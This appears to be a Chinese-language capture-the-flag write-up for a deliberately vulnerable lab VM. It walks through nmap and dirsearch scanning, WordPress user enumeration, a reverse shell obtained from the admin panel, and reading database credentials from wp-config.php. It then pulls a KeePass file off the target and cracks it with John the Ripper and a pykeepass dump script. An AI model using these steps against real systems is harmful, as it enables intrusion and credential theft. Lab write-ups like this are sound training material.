文章目录
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 目录扫描
- 4. 敏感信息获取
- 5. 反弹shell
- 6. 权限提升
一、靶场搭建
1. 靶场描述
get flags
difficulty: medium
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.
This works better with VirtualBox rather than VMware. ## Changelog 2021-03-10: v1.0.1 2021-03-06: v1.0
中等难度的靶场,目标是获取flag。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。
下载完成的文件如下:
一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
使用VMware打开对应的
ova
文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT
模式,然后点击启动就行。
如果你使用vmware启动靶机之后,发现靶机没有自动分配ip,可以参考这个文章进行解决。 解决虚拟机未被自动分配ip
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式
确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24
通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.133
.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.133
结果图:
可以看到两个端口
66
和80
对应的服务都是http服务。分别打开两个网站查看。80端口根路径直接报404,推测存在子路径。
3. 目录扫描
使用
dirsearch
工具分别扫描两个端口服务的路径。没有发现什么敏感目录,直接将目光移动到66端口的服务。
sudo dirsearch -u "http://192.168.37.133" -x 404
sudo dirsearch -u "http://192.168.37.133:66" -x 404
4. 敏感信息获取
66端口首页可以直接下载这个http服务的源码,直接下载文件,解压查看源代码是否存在敏感信息。
# 解压命令
unzip -d vvmlist/ vvmlist.zip
源代码文件内容:
先查看是否存在项目源码是否存在什么敏感信息。没有找到敏感信息之后,开始推测80存在子路径,搜索和80相关的关键词。发现其中一个文档说明80端口使用的wordpress,以及其子目录为
lyricsblog
grep -rn 80
获取到80端口wordpress的主路径之后,可以继续进行目录扫描。获取到登录页面,登录界面提示用户的密码是大写。
sudo dirsearch -u "http://192.168.37.133/lyricsblog" -x 404
5. 反弹shell
知道目标cms网站所使用的框架为wordpress之后,可以使用
wpscan
扫描目标网站的用户名。wpscan
是一个专门针对 WordPress 网站的漏洞扫描工具,用于发现插件、主题、用户、配置等方面的安全问题。扫描之后发现一个用户erdalkomurcu
。有了账号名之后接下来就是要获取密码。
wpscan --url http://192.168.37.133/lyricsblog -e u
查看cmd网站的根路径发现一个图片链接被注释,查看图片的内容。
图片上提到了
HAKAN TASIYAN
在首页上发现这是一首歌,尝试将这首歌的歌词进行md5求和,并将求和的结果转换成大写。之后尝试登录cms系统,登录成功。
# 求和
md5sum md5.txt
# 转大写
echo "" | tr 'a-z' 'A-Z'
登录后台之后,寻找后台可添加反向shell的位置,获取反弹shell,在下图处获取到注入点,并添加图中所示命令进行反向shell。刷新页面成功获取到反弹shell。
# kali执行
nc -lvp 8888
6. 权限提升
获取到反弹shell执行如下命令创建一个交互式终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
对于这种有数据库的后台项目,获取到shell权限之后,先查看配置文件是否存在账号和密码信息,多个账号设置为同一密码的情况是非常常见的。在
wp-config.php
中获取到数据库的账号和密码。
查看
/home
目录下发现存在和数据库账号同名的用户,尝试使用数据库的密码进行登录,成功登录.在raphael
家目录下发现userflag和.chadroot.kdbx
文件。
.kdbx
文件是 KeePass Password Safe 使用的文件格式,专门用于存储加密的密码数据库。KeePass 是一款开源密码管理器,.kdbx
文件包含用户的密码、用户名、URL 和其他敏感信息,并以强大的加密算法(如 AES-256)保护。从文件名来看这个kbdx文件存储的root的密码信息。将这个文件下载到本地,进行密码爆破。
# 靶机执行这段命令,开启一个web服务
python3 -m http.server 9090
# kali进行下载
wget http://192.168.37.132/.chadroot.kdbx
使用
keepass2john
命令进行密码爆破,keepass2john
是一款专门用于从 KeePass 数据库文件(.kdbx
格式)中提取加密的哈希值的工具。它是 John the Ripper(JtR) 破解工具套件中的一部分,主要用于将.kdbx
文件转换为 John the Ripper 可以识别的哈希格式,以进行密码破解。成功获取到kdbx文件的密码。
keepass2john .chadroot.kdbx > hash
# 破解
john hash --wordlist=/usr/share/wordlists/rockyou.txt
获取到kbdx文件之后可以使用如下python代码读取文件中的内容。首先得执行这段命令安装
pip install pykeepass
所需依赖。
from pykeepass import PyKeePass
import sys
def read_file(file_path, password):
kp = PyKeePass(file_path, password=password)
for entry in kp.entries:
print(entry.title, entry.username, entry.password)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage pkkeepass_tool.py filepath password")
sys.exit(1)
file_path = sys.argv[1]
password = sys.argv[2]
read_file(file_path, password)
尝试打印出的每个密码,最终
.:.subjective.:.
为root用户的密码。成功获取到root的身份,以及获取到最终的flag。